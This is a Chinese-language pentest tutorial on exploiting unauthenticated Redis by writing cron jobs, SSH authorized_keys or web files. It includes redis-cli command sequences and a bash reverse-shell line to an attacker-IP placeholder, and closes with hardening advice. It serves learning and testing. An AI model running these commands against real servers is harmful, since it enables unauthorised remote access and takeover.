Redis 未授权访问：三种落地方式

一、漏洞本质

Redis 未授权访问的危险点在于：攻击者可以直接连接 Redis，并修改 dir、dbfilename 等配置，再通过 save 将数据写入服务器磁盘。

能否进一步拿到 Shell，取决于 Redis 进程权限、目标服务配置、可写路径和网络环境。不是所有 Redis 未授权实例都能直接执行命令。

二、方式一：写入 Cron 定时任务

原理

把包含反弹 Shell 的定时任务内容写入系统 Cron 目录，等待 Cron 服务执行。

主要条件

Redis 通常需要以 root 权限运行
目标系统启用了 Cron 服务
写入路径和 Cron 文件格式适配当前发行版
目标能够主动连接攻击机监听端口

特点

不依赖 Web 服务或 SSH，但不同系统对 Cron 文件格式和写入内容的校验不同，成功率不能一概而论。

命令骨架（仅限授权靶场）

攻击机先监听：

nc -lvnp 4444

连接 Redis 并写入 Cron：

redis-cli -h <目标IP> -p 6379
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1'\n\n"
SAVE

dir、dbfilename 和 Cron 文件路径必须根据目标系统确认。执行 SAVE 后还要等待 Cron 调度，并检查监听端是否收到连接。

三、方式二：写入 SSH 公钥

原理

将攻击者的公钥写入目标用户的：

~/.ssh/authorized_keys

之后使用对应私钥登录。

主要条件

Redis 进程对目标用户的 .ssh 目录有写权限
SSH 服务已开启
目标用户允许使用密钥登录
.ssh 和 authorized_keys 的权限符合 SSH 要求

如果目标是 root，还要确认 SSH 配置允许 root 使用密钥登录。Redis 写入 RDB 数据时可能混入额外内容，认证文件是否能正常使用需要实际验证。

Redis 写入 authorized_keys 的命令骨架如下，实际成功与否取决于目标用户、目录权限和 RDB 内容是否破坏认证文件：

redis-cli -h <目标IP> -p 6379
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET x "<你的公钥内容>"
SAVE

更稳定的公钥部署步骤见《Linux 反弹 Shell 与 SSH 免密速查》中的自动部署和手动部署部分。

四、方式三：写入 Web 文件

原理

把 PHP、JSP 等脚本文件写入网站根目录，再通过 Web 服务访问执行。

主要条件

目标运行了对应的 Web 服务和脚本解析器
已知网站的真实绝对路径
Redis 进程对该目录有写权限
写入文件的后缀和内容能被服务端解析

这种方法受环境影响最大。即使文件成功写入，也不代表 Web 服务一定会解析执行。

命令骨架：

redis-cli -h <目标IP> -p 6379
CONFIG SET dir <网站绝对路径>
CONFIG SET dbfilename <测试文件名>
SET x "<测试内容>"
SAVE

写入后需要通过 Web 请求验证文件是否存在，以及服务器是否按对应脚本类型解析。RDB 文件包含额外数据，直接写入脚本文件并不一定能得到可执行文件。

五、三种方式对比

方式	依赖服务	路径要求	主要权限要求	难点
Cron	Cron	系统 Cron 目录	通常需要 root	格式和系统差异
SSH 公钥	SSH	`.ssh/authorized_keys`	目标用户目录可写	SSH 配置和文件权限
Web 文件	Web 服务	必须知道网站绝对路径	网站目录可写	解析器和路径依赖

六、小 Tips

先确认 Redis 运行用户和可写目录，再决定利用路径。
save 只是把 Redis 数据持久化到文件，不等于 Redis 原生支持命令执行。
“未授权访问”是入口，后续能否落地取决于权限和环境条件。
排查时应优先修复认证、网络暴露和最小权限配置，而不是只关注某一种利用方式。

使用工具

redis-cli

用于连接 Redis、查看配置和验证实例是否存在未授权访问问题。